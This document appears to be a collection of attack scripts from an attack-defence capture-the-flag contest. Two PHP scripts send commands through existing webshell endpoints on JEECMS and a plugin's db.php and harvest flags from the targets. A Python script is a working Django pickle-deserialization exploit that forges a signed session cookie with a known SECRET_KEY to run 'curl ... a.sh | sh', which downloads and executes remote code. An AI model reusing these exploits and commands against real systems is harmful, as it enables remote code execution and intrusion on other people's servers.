<?php
//代码有点乱，在比赛过程中修改了很多次，大家将就着看吧 ^_^
$temp = [];

$li = ['192.200.1.12:8080']; //靶机列表
foreach ($li as $key => $value) {
    $a = @file_get_contents('http://'.$value.'/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=curl%20http://192.200.0.70/remoteflag/');
    preg_match('/<pre>([\S]*?)<\/pre>/', $a, $match);
    print(@$match[1]);
    if (isset($match[1])) {
        $temp[] = $match[1];
    }
    $a = @file_get_contents('http://'.$value.'/jeecmsv9f/index.jsp?cmd=curl%20http://192.200.0.70/remoteflag/');
    preg_match('/<pre>([\S\s]*?)<\/pre>/', $a, $match);
    print(@$match[1]);
    print("\n");
    print($value);
    print('   ---  ');
    if (isset($match[1])) {
        $temp[] = $match[1];
    }
}

$b = array_unique($temp);

$flags = '';
foreach ($b as $key => $value) {
    $flags .= $key.'['.$value."]\n";
}
file_put_contents('jeecms.txt', $flags);

<?php

$flags = '';
$li = ['192.200.0.101:80']; // 靶机列表
foreach ($li as $key => $value) {
    $ch = curl_init('http://'.$value.'/plugins/youdaotrans/db.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , 3);
    // curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, 'An=curl+http%3a%2f%2f192.200.0.70%2fremoteflag%2f');
    $res = curl_exec($ch);
    curl_close($ch);
    print($res);
    print("\n");
    $flags .= "\n".$res;
}

file_put_contents('html.txt', $flags);

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'curl http://172.16.50.3/a.sh | sh',):
    class Run(object):
        def __reduce__(self):
            #return (os.system,('ping test.0y0.link',))
            return (os.system,(command,))

    #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    SECRET_KEY = SECRET_KEY

    sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
    #生成的恶意session
    print sess


    '''
    salt='django.contrib.sessions.backends.signed_cookies'
    sess = pickle.dumps(Run())
    sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
    sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
    print sess
    #这里生成的session也是可以成功利用的，这样写只是为了理解signing.dumps。
    '''

    session = 'sessionid={0}'.format(sess)
    return session

def exp(url,SECRET_KEY,command):

    headers = {'Cookie':session_gen(SECRET_KEY,command)}
    #proxy = {"http":"http://172.16.50.3:8080"}#设置为burp的代理方便观察请求包
    response = requests.get(url,headers= headers)
    #print response.content

if __name__ == '__main__':
    url = 'http://192.200.0.146:8000/'
    SECRET_KEY = '85bus3!*+_3t1ks)&&o(u-liuhucshja!-44a1squ93=#+v+4r'
    command = 'curl http://172.16.50.3/a.sh | sh'
    exp(url,SECRET_KEY,command)